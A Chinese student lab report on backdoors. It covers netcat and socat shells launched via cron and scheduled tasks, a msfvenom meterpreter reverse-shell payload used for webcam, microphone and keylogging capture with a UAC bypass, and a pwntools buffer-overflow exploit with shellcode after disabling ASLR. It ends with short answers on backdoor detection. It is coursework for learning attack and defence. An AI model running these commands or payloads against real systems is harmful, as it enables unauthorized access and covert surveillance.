Exp2 后门原理与实践
实验过程
任务一:使用netcat获取主机操作Shell,cron启动
使用 crontab 设置每小时 39 分钟定定时运行指令在端口 5219 开启 /bin/sh 。这样我们监听这个端口就可以拿 shell 。
任务二:使用socat获取主机操作Shell, 任务计划启动
在定时计划中设置当用户锁定工作站时触发操作运行程序 socat ,同时设定好参数,这样我们链接参数设置的对应端口时就能拿 shell 。
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
生成 backdoor.exe
使用 nc 和 ncat 传输 backdoor.exe 文件
通过 msf 工具和在 windows 上运行后门程序拿 shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
用摄像头拍照
用麦克风录音
读取键盘记录
getshell
原来的洞没法对 win10 提权,生成一个新的后门,注意用 -a 指定架构。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.184.129 LPORT=5219 -a x64 -f exe > backdoor1.exe
跟靶机取得连接的步骤和之前一样,然后使用 background 查询 session 值,同时使用漏洞绕过用户账户控制。
可以看到我们已经成功拿shell。
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
为了降低难度,我们可以先把 ASLR 关闭。在 root 权限下运行命令
echo 0 > /proc/sys/kernel/randomize_va_space
0 值代表不随机化,我们可以通过命令
sysctl -a --pattern randomize
查看 kernel.randomize_va_space 的值是否成功修改为 0 。
修改成功的情况下,多次 ldd 的地址应该是一样的。
这说明我们已经成功关闭 ASLR ,这样的话栈的地址是固定的,我们可以通过动态调试得悉 shellcode 在栈中的存储地址,接下来只要覆盖返回地址为 shellcode 的起始地址即可成功 getshell。
使用命令在 5219 端口开启 pwn1 服务。
nc -lvvp 5219 -e pwn1
同时我们编写 exp 脚本拿 shell。
from pwn import *
io = remote('192.168.1.41',5219)
context.binary = 'pwn1'
addr = 0xFFFFCF7C #我们输入的起始地址
shellcode = asm(shellcraft.sh()) #生成对应架构的 shellcode
payload = 'a' * 32 + p32(0xFFFFCF7C+32+4) + shellcode #覆盖返回地址为 shellcode 的地址
io.sendline(payload)
io.interactive()
可以看到我们已经成功 getshell
问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:通过引诱受害者下载恶意文件,通过操作系统漏洞或者服务漏洞提权并留下后门。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:通过伪装成 hook 函数在程序启动是调用。
(3)Meterpreter有哪些给你映像深刻的功能?
答:可以建立持久性后门。
(4)如何发现自己有系统有没有被安装后门
答:可以从注册表、自启动项、以及开启的端口等分析。